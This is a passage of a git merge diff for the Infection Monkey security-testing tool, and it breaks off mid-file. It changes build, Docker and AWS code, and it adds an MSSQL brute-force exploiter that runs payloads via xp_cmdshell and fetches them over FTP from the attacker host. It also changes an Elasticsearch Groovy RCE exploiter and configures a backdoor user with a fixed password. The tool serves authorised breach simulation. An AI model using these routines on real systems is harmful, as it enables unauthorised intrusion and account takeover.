Merge branch 'develop' into MonkeyZoo

This commit is contained in:
Daniel Goldberg 2019-04-11 13:59:05 +03:00 committed by GitHub
commit 313b1532b1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
123 changed files with 15123 additions and 12025 deletions

5
.gitignore vendored
View File

@ -69,6 +69,9 @@ bin
/monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/
# User files
/monkey/monkey_island/cc/userUploads
# MonkeyZoo
# Network status files
MonkeyZoo/*
@ -78,3 +81,5 @@ MonkeyZoo/*
!MonkeyZoo/README.MD
!MonkeyZoo/config.tf
!MonkeyZoo/MonkeyZooDocs.pdf

View File

@ -41,6 +41,8 @@ Setup
-------------------------------
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
Building the Monkey from source
-------------------------------

View File

@ -121,7 +121,7 @@ openssl req -new -key cc/server.key -out cc/server.csr \
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm
@ -142,16 +142,16 @@ npm run dist
log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements.txt || handle_error
python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
chmod +x ./build.sh || handle_error
sudo chmod +x ./build.sh || handle_error
./build.sh
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
log_message "Deployment script finished."
exit 0
exit 0

View File

@ -39,7 +39,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
New-Item -ItemType directory -path $binDir
"Bin directory added"
}
# We check if python is installed
try
{
@ -72,7 +72,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island
@ -86,7 +86,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
}
& python -m pip install --user -r $islandRequirements
# Install requirements for monkey
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
# Download mongodb

1
docker/.dockerignore Normal file
View File

@ -0,0 +1 @@
*.md

View File

@ -1,19 +1,24 @@
FROM debian:jessie-slim
FROM debian:stretch-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
ARG RELEASE=1.6
ARG DEBIAN_FRONTEND=noninteractive
EXPOSE 5000
WORKDIR /app
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz .
ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz .
RUN tar xvf infection_monkey_1.5.2_deb.tgz \
&& apt-get -yqq update \
&& apt-get -yqq upgrade \
&& apt-get -yqq install python-pip \
libssl-dev \
supervisor \
&& dpkg -i *.deb
RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \
&& apt-get -yqq update \
&& apt-get -yqq upgrade \
&& apt-get -yqq install python-pip \
python-dev \
&& dpkg -i *.deb \
&& rm -f *.deb *.tgz
COPY stack.conf /etc/supervisor/conf.d/stack.conf
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ]
WORKDIR /var/monkey
ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"]
CMD ["/var/monkey/monkey_island.py"]

22
docker/docker-compose.yml Normal file
View File

@ -0,0 +1,22 @@
version: '3.3'
services:
db:
image: mongo:4
restart: always
volumes:
- db_data:/data/db
environment:
MONGO_INITDB_DATABASE: monkeyisland
monkey:
depends_on:
- db
build: .
image: monkey:latest
ports:
- "5000:5000"
environment:
MONGO_URL: mongodb://db:27017/monkeyisland
volumes:
db_data:

View File

@ -1,4 +0,0 @@
[program:mongod]
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
[program:monkey]
command=/var/monkey_island/ubuntu/systemd/start_server.sh

View File

@ -1,17 +0,0 @@
import urllib2
__author__ = 'itay.mizeretz'
class AWS(object):
def __init__(self):
try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read()
except urllib2.URLError:
self.instance_id = None
def get_instance_id(self):
return self.instance_id
def is_aws_instance(self):
return self.instance_id is not None

View File

@ -0,0 +1,35 @@
import re
import urllib2
__author__ = 'itay.mizeretz'
class AwsInstance(object):
def __init__(self):
try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
self.region = self._parse_region(
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read())
except urllib2.URLError:
self.instance_id = None
self.region = None
@staticmethod
def _parse_region(region_url_response):
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
# This regex will find any AWS region format string in the response.
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
if finding:
return finding[0]
else:
return None
def get_instance_id(self):
return self.instance_id
def get_region(self):
return self.region
def is_aws_instance(self):
return self.instance_id is not None

View File

@ -0,0 +1,63 @@
import boto3
from botocore.exceptions import ClientError
__author__ = 'itay.mizeretz'
class AwsService(object):
"""
Supplies various AWS services
"""
access_key_id = None
secret_access_key = None
region = None
@staticmethod
def set_auth_params(access_key_id, secret_access_key):
AwsService.access_key_id = access_key_id
AwsService.secret_access_key = secret_access_key
@staticmethod
def set_region(region):
AwsService.region = region
@staticmethod
def get_client(client_type, region=None):
return boto3.client(
client_type,
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key,
region_name=region if region is not None else AwsService.region)
@staticmethod
def get_session():
return boto3.session.Session(
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key)
@staticmethod
def get_regions():
return AwsService.get_session().get_available_regions('ssm')
@staticmethod
def test_client():
try:
AwsService.get_client('ssm').describe_instance_information()
return True
except ClientError:
return False
@staticmethod
def get_instances():
return \
[
{
'instance_id': x['InstanceId'],
'name': x['ComputerName'],
'os': x['PlatformType'].lower(),
'ip_address': x['IPAddress']
}
for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList']
]

View File

View File

View File

@ -0,0 +1,26 @@
from common.cmd.cmd_result import CmdResult
__author__ = 'itay.mizeretz'
class AwsCmdResult(CmdResult):
"""
Class representing an AWS command result
"""
def __init__(self, command_info):
super(AwsCmdResult, self).__init__(
self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'],
command_info[u'StandardErrorContent'])
self.command_info = command_info
@staticmethod
def is_successful(command_info, is_timeout=False):
"""
Determines whether the command was successful. If it timed out and was still in progress, we assume it worked.
:param command_info: Command info struct (returned by ssm.get_command_invocation)
:param is_timeout: Whether the given command timed out
:return: True if successful, False otherwise.
"""
return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress'))

View File

@ -0,0 +1,42 @@
import logging
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_result import AwsCmdResult
from common.cmd.cmd_runner import CmdRunner
from common.cmd.cmd_status import CmdStatus
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class AwsCmdRunner(CmdRunner):
"""
Class for running commands on a remote AWS machine
"""
def __init__(self, is_linux, instance_id, region = None):
super(AwsCmdRunner, self).__init__(is_linux)
self.instance_id = instance_id
self.region = region
self.ssm = AwsService.get_client('ssm', region)
def query_command(self, command_id):
return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id)
def get_command_result(self, command_info):
return AwsCmdResult(command_info)
def get_command_status(self, command_info):
if command_info[u'Status'] == u'InProgress':
return CmdStatus.IN_PROGRESS
elif command_info[u'Status'] == u'Success':
return CmdStatus.SUCCESS
else:
return CmdStatus.FAILURE
def run_command_async(self, command_line):
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]},
InstanceIds=[self.instance_id])
return command_res['Command']['CommandId']

11
monkey/common/cmd/cmd.py Normal file
View File

@ -0,0 +1,11 @@
__author__ = 'itay.mizeretz'
class Cmd(object):
"""
Class representing a command
"""
def __init__(self, cmd_runner, cmd_id):
self.cmd_runner = cmd_runner
self.cmd_id = cmd_id

View File

@ -0,0 +1,13 @@
__author__ = 'itay.mizeretz'
class CmdResult(object):
"""
Class representing a command result
"""
def __init__(self, is_success, status_code=None, stdout=None, stderr=None):
self.is_success = is_success
self.status_code = status_code
self.stdout = stdout
self.stderr = stderr

View File

@ -0,0 +1,158 @@
import time
import logging
from abc import abstractmethod
from common.cmd.cmd import Cmd
from common.cmd.cmd_result import CmdResult
from common.cmd.cmd_status import CmdStatus
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class CmdRunner(object):
"""
Interface for running commands on a remote machine
Since these classes are a bit complex, I provide a list of common terminology and formats:
* command line - a command line. e.g. 'echo hello'
* command - represent a single command which was already run. Always of type Cmd
* command id - any unique identifier of a command which was already run
* command result - represents the result of running a command. Always of type CmdResult
* command status - represents the current status of a command. Always of type CmdStatus
* command info - Any consistent structure representing additional information of a command which was already run
* instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field
* instance_id - any unique identifier of an instance (machine). Can be of any format
"""
# Default command timeout in seconds
DEFAULT_TIMEOUT = 5
# Time to sleep when waiting on commands.
WAIT_SLEEP_TIME = 1
def __init__(self, is_linux):
self.is_linux = is_linux
def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
"""
Runs the given command on the remote machine
:param command_line: The command line to run
:param timeout: Timeout in seconds for command.
:return: Command result
"""
c_id = self.run_command_async(command_line)
return self.wait_commands([Cmd(self, c_id)], timeout)[1]
@staticmethod
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
"""
Run multiple commands on various instances
:param instances: List of instances.
:param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd
:param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult
and returns a parsed result (of any format)
:return: Dictionary with 'instance_id' as key and parsed result as value
"""
command_instance_dict = {}
for instance in instances:
command = inst_to_cmd(instance)
command_instance_dict[command] = instance
instance_results = {}
command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys())
for command, result in command_result_pairs:
instance = command_instance_dict[command]
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
return instance_results
@abstractmethod
def run_command_async(self, command_line):
"""
Runs the given command on the remote machine asynchronously.
:param command_line: The command line to run
:return: Command ID (in any format)
"""
raise NotImplementedError()
@staticmethod
def wait_commands(commands, timeout=DEFAULT_TIMEOUT):
"""
Waits on all commands up to given timeout
:param commands: list of commands (of type Cmd)
:param timeout: Timeout in seconds for command.
:return: commands and their results (tuple of Command and CmdResult)
"""
init_time = time.time()
curr_time = init_time
results = []
while (curr_time - init_time < timeout) and (len(commands) != 0):
for command in list(commands): # list(commands) clones the list. We do so because we remove items inside
CmdRunner._process_command(command, commands, results, True)
time.sleep(CmdRunner.WAIT_SLEEP_TIME)
curr_time = time.time()
for command in list(commands):
CmdRunner._process_command(command, commands, results, False)
for command, result in results:
if not result.is_success:
logger.error('The following command failed: `%s`. status code: %s',
str(command[1]), str(result.status_code))
return results
@abstractmethod
def query_command(self, command_id):
"""
Queries the already run command for more info
:param command_id: The command ID to query
:return: Command info (in any format)
"""
raise NotImplementedError()
@abstractmethod
def get_command_result(self, command_info):
"""
Gets the result of the already run command
:param command_info: The command info of the command to get the result of
:return: CmdResult
"""
raise NotImplementedError()
@abstractmethod
def get_command_status(self, command_info):
"""
Gets the status of the already run command
:param command_info: The command info of the command to get the result of
:return: CmdStatus
"""
raise NotImplementedError()
@staticmethod
def _process_command(command, commands, results, should_process_only_finished):
"""
Removes the command from the list, processes its result and appends to results
:param command: Command to process. Must be in commands.
:param commands: List of unprocessed commands.
:param results: List of command results.
:param should_process_only_finished: If True, processes only if command finished.
:return: None
"""
c_runner = command.cmd_runner
c_id = command.cmd_id
try:
command_info = c_runner.query_command(c_id)
if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS:
commands.remove(command)
results.append((command, c_runner.get_command_result(command_info)))
except Exception:
logger.exception('Exception while querying command: `%s`', str(c_id))
if not should_process_only_finished:
commands.remove(command)
results.append((command, CmdResult(False)))

View File

@ -0,0 +1,9 @@
from enum import Enum
__author__ = 'itay.mizeretz'
class CmdStatus(Enum):
IN_PROGRESS = 0
SUCCESS = 1
FAILURE = 2

View File

@ -5,9 +5,12 @@ from abc import ABCMeta, abstractmethod
import ipaddress
from six import text_type
import logging
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class NetworkRange(object):
__metaclass__ = ABCMeta
@ -47,12 +50,23 @@ class NetworkRange(object):
address_str = address_str.strip()
if not address_str: # Empty string
return None
if -1 != address_str.find('-'):
if NetworkRange.check_if_range(address_str):
return IpRange(ip_range=address_str)
if -1 != address_str.find('/'):
return CidrRange(cidr_range=address_str)
return SingleIpRange(ip_address=address_str)
@staticmethod
def check_if_range(address_str):
if -1 != address_str.find('-'):
ips = address_str.split('-')
try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError as e:
return False
return True
return False
@staticmethod
def _ip_to_number(address):
return struct.unpack(">L", socket.inet_aton(address))[0]
@ -111,13 +125,58 @@ class IpRange(NetworkRange):
class SingleIpRange(NetworkRange):
def __init__(self, ip_address, shuffle=True):
super(SingleIpRange, self).__init__(shuffle=shuffle)
self._ip_address = ip_address
self._ip_address, self.domain_name = self.string_to_host(ip_address)
def __repr__(self):
return "<SingleIpRange %s>" % (self._ip_address,)
def __iter__(self):
"""
We have to check if we have an IP to return, because user could have entered invalid
domain name and no IP was found
:return: IP if there is one
"""
if self.ip_found():
yield self._number_to_ip(self.get_range()[0])
def is_in_range(self, ip_address):
return self._ip_address == ip_address
def _get_range(self):
return [SingleIpRange._ip_to_number(self._ip_address)]
def ip_found(self):
"""
Checks if we could translate domain name entered into IP address
:return: True if dns found domain name and false otherwise
"""
return self._ip_address
@staticmethod
def string_to_host(string):
"""
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
:param string: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
# The most common use case is to enter ip/range into "Scan IP/subnet list"
domain_name = ''
# Make sure to have unicode string
user_input = string.decode('utf-8', 'ignore')
# Try casting user's input as IP
try:
ip = ipaddress.ip_address(user_input).exploded
except ValueError:
# Exception means that it's a domain name
try:
ip = socket.gethostbyname(string)
domain_name = string
except socket.error:
LOG.error("Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string))
return None, string
# If a string was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name

View File

@ -0,0 +1,10 @@
from enum import Enum
class ScanStatus(Enum):
# Technique wasn't scanned
UNSCANNED = 0
# Technique was attempted/scanned
SCANNED = 1
# Technique was attempted and succeeded
USED = 2

View File

@ -0,0 +1,7 @@
from enum import Enum
class ExploitType(Enum):
VULNERABILITY = 1
OTHER = 8
BRUTE_FORCE = 9

View File

@ -1,2 +1,2 @@
#!/bin/bash
pyinstaller --clean monkey-linux.spec
pyinstaller -F --log-level=DEBUG --clean monkey.spec

View File

@ -7,8 +7,6 @@ from abc import ABCMeta
from itertools import product
import importlib
importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar'
GUID = str(uuid.getnode())
@ -22,6 +20,7 @@ class Configuration(object):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@ -35,12 +34,12 @@ class Configuration(object):
if key == 'finger_classes':
class_objects = [getattr(network_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'scanner_class':
scanner_object = getattr(network_import, value)
setattr(self, key, scanner_object)
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
@ -133,7 +132,6 @@ class Configuration(object):
# how many scan iterations to perform on each run
max_iterations = 1
scanner_class = None
finger_classes = []
exploiter_classes = []
@ -163,6 +161,10 @@ class Configuration(object):
keep_tunnel_open_time = 60
# Monkey files directories
monkey_dir_linux = '/tmp/monkey_dir'
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
###########################
# scanners config
###########################
@ -193,7 +195,7 @@ class Configuration(object):
9200]
tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 200
tcp_scan_interval = 0
tcp_scan_get_banner = True
# Ping Scanner
@ -206,8 +208,8 @@ class Configuration(object):
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!"
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
@ -268,5 +270,11 @@ class Configuration(object):
extract_azure_creds = True
post_breach_actions = []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
WormConfiguration = Configuration()

View File

@ -8,7 +8,7 @@
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
],
"inaccessible_subnets": [],
"blocked_ips": [],
@ -28,6 +28,9 @@
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
@ -57,14 +60,13 @@
"monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
"scanner_class": "TcpScanner",
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
@ -79,7 +81,7 @@
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 10000,
"tcp_target_ports": [
22,
@ -97,5 +99,10 @@
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 7,
"victims_max_find": 30
"victims_max_find": 30,
"post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
}

View File

@ -1,5 +1,6 @@
from abc import ABCMeta, abstractmethod
import infection_monkey.config
from common.utils.exploit_enum import ExploitType
__author__ = 'itamar'
@ -9,6 +10,9 @@ class HostExploiter(object):
_TARGET_OS_TYPE = []
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}
@ -45,3 +49,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter

View File

@ -8,7 +8,8 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re
@ -34,7 +35,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command
response = requests.get(url, data=payload)
try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
return False
result = self.get_results(response)
if not result:
return False
@ -63,3 +68,20 @@ class ElasticGroovyExploiter(WebRCE):
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None
def check_if_exploitable(self, url):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False

View File

@ -36,6 +36,9 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
# We presume hadoop works only on 64-bit machines
if self.host.os['type'] == 'windows':
self.host.os['machine'] = '64'
paths = self.get_monkey_paths()
if not paths:
return False

View File

@ -0,0 +1,130 @@
import os
import logging
import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from common.utils.exploit_enum import ExploitType
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
if not self.create_payload_file(payload_path):
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
try:
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError:
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False

View File

@ -0,0 +1,208 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
